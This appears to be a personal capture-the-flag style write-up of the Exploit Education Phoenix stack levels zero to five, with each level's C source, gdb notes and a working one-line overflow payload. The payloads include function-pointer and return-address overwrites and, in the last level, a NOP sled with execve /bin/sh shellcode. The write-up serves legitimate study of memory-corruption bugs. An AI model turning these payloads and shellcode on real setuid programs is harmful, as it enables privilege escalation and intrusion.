Education dot Exploit Phoenix notes

`ssh -p2222 user@localhost` with password "user"

There is also the root:root account

Compiling locally and using gdb causes loads of problems, use the following options to make it run smoothly `gcc file.c -o file -no-pie -fno-stack-protector -z execstack -z norelro`

Stack Zero

Aim: To change the contents of the changeme variable

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  locals.changeme = 0;
  gets(locals.buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}
```

Notes:

A **Struct** in C is a collection of variables under one name (basically an object)

`char *gets(char *);` is the function prototype, it just defines the syntax for the gets function, I have no idea why it's in this main file and not in the imported library. removing it did not affect the challenge, but did give me an "implicit declaration" warning. **Edit:** on further research, I get this warning because gets was removed from standard libraries due to being unsafe

The file type we are working on is `stack-zero: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped`

Answer

`echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq" | stack-zero`

Explanation

`gets(locals.buffer);` reads from stdin, and then stores the value in the variable called "buffer" inside the struct named "locals".

by entering an input of > 64 bytes, you overflow the allocated buffer

because the next space in memory is the changeme variable (it was declared just after buffer), the overflow data spills into it

This is why when we use gdb, we can see the variable changeme has "q" (0×71) with the input "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq", q is the 65th byte

Process:

- gdb -d stack-zero
- disassemble main
- break *<address just before the jump>
- info registers eax
- the value will be 0×71 :)

Stack-one

Aim: To change the contents of the changeme variable to 0×496c5962

```
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  if (argc < 2) {
    errx(1, "specify an argument, to be copied into the \"buffer\"");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, argv[1]);
```

```
  if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
        locals.changeme);
  }

  exit(0);
}
```

Notes:

Very similar to the last one except the input is done as a command line argument, not stdin. And instead of overflowing it with any information, we need to make it a specific piece of data.

To convert to little or big endiant use either:

- `python3 -c "import pwnlib; print(pwnlib.util.packing.p32(0x496c5962, endian='big'))"`
- `python3 -c "import pwnlib; print(pwnlib.util.packing.p32(0x496c5962, endian='little'))"`

Answer

`./stack-one aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaabYlI`

Explanation

`argv[1]`, the argument we supply on the command line, is coppied to the 64 bit buffer

When we run `./stack-one aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaIlYb`, we are filling up the buffer with nonsense but then the change me variable has the "llYb".

But it is stored in the wrong order (little-endian) `Getting closer! changeme is currently 0x62596c49, we want 0x496c5962`

we then convert the goal `0x496c5962` into little endian format, and in its char format, `bYlI`, which is then added as our payload.

Stack-Two

Aim: to change the contents of the changeme variable to 0×0d0a090a

```
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
```

```
  } locals;

  char *ptr;

  printf("%s\n", BANNER);

  ptr = getenv("ExploitEducation");
  if (ptr == NULL) {
    errx(1, "please set the ExploitEducation environment variable");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, ptr);

  if (locals.changeme == 0x0d0a090a) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
        locals.changeme);
  }

  exit(0);
}
```

Notes

To change an environment variable do `export ExploitEducation=0x0d0a090a`

The target does not translate easily from hex, we get unprintable characters. To manipulate and print these characters we can use python `print("/x0a/x09/x0a/x0d")` To maintain the correct values

Answer

`export ExploitEducation=$(python -c 'print("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa" + "\x0a\x09\x0a\x0d")')`

Explanation

This is the same challenge as before except we don't give the input via an argument, but via an environment variable

First, we fill the buffer variable with 64 bytes `aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa`

Add the payload in the reversed format `\x0a\x09\x0a\x0d`

Then, we export this payload to `ExploitEducation`, and run the script.

Stack-Three

Aim: Call the function `complete_level()`

```
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
```

```
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  printf("%s\n", BANNER);

  locals.fp = NULL;
  gets(locals.buffer);

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
    fflush(stdout);
    locals.fp();
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");
  }

  exit(0);
}
```

Notes

instead of a normal variable in the struct, we have `int (*fp)();` . The variable `fp` is a pointer to a function that takes an unspecified list of arguments.

The address of the function will depend on the machine and the rest of the enviornment, it may be different.

Answer

`python -c 'print("A"*64 + "\x9d\x06\x40")' | ./stack-three`

Explanation

Via fuzzing, we know that the program will try to use the 6 bytes after we fill the buffer, as a pointer to a function

running `info functions` in a gdb terminal, we learn that the complete_level function is at the address `0x000000000040069d`, and does not seem to change. We need to jump to `0040069d`

Convert this to little endian, 9d 06 40.

Stack-Four

Aim: to execute the function complete_level()

```
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

void start_level() {
  char buffer[64];
  void *ret;

  gets(buffer);

  ret = __builtin_return_address(0);
  printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}
```

Notes

`__builtin_return_address(0)` returns the return address of the current function. A value of 0 yields the return address of the current function. In our case, this means we can redirect the flow of execution if we overwrite this.

Our variables, buffer and ret, are not in a struct, meaning they may not be next to each other in memory

Answer

`python -c 'print("A"*88 + "\x1d\x06\x40")' | ./stack-four`

Explanation

getting the address of `complete_level()` in gdb on the first attempt is `0x000000000040061d`, it does not seem to change.

Running the binary tells us that the return address is `0x40068d`

Running the binary with a significantly longer input (I used 128 bytes) tells us that the ret variable is stored at 88 bytes from our initial input. 88-64 = 24. 24 bytes after the buffer is filled.

Stack-Five

Aim: Execute /bin/sh

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
  char buffer[128];
  gets(buffer);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}
```

Notes

To view the stack in gdb use `x/100x $sp`

The main issue I had with this challenge was the shell code I was using was bad

Another issue that tripped me up is the little endian formatting, in the future dont do it manually, use `import pwn;pwn.p64(0xFFFFFFFF)`

shell code does **not** need to be put into little endian

The exploit worked in gdb but not in a terminal, this is becuase gdb adds environment variables which alter memory addresses you can disable these with.

```
unset env LINES
unset env COLUMNs
```

In addition, the addresses will change depending on if you call the program by `./binary` or `/absoloute/path/binary`

After removing these env variables, I was getting `Illegal instruction` which I think was caused by the rip hitting the middle of the shellcode, I fixed this by adjusting the eip to hit the nop sled.

Answer

```
(python -c 'print("\x90"*80 +
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +
"A"*21 + "B"*8 +  "\xf0\xe5\xff\xff\xff\x7f\x00\x00")'; cat) | ./stack-five
```

Explanation

from running gdb we know the return address for main is `0x4005c7`

When we run the binary with 128 "A"s and break just after the get function, we see this on the stack. Our As, then two seemingly insignificant addresses, then `0x004005c7`, which is the return function we are

trying to overwrite

```
(gdb) x/100x $sp
0x7fffffffe5a0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5b0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5c0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5d0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5e0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe5f0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe600: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe610: 0x41414141      0x41414141      0x41414141      0x00004141
0x7fffffffe620: 0xffffe640      0x00007fff      0x004005c7      0x00000000
```

`break *0x00000000004005a1` break just before the ret statement to inspect stack

Our goal is to have `nopslide + shellcode + buffer + 8 bytes for RBP + RIP with address of buffer`. Then when the return pointer is overwritten, it will redirect execution to the nopsled, follow it to our shellcode and we have rce

by doing `info frame` after breaking before the ret, we see the rip (eip) is `0x7fffffffe658` , and the rbp is `0x7fffffffe650`

`\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05` 27 bytes shell code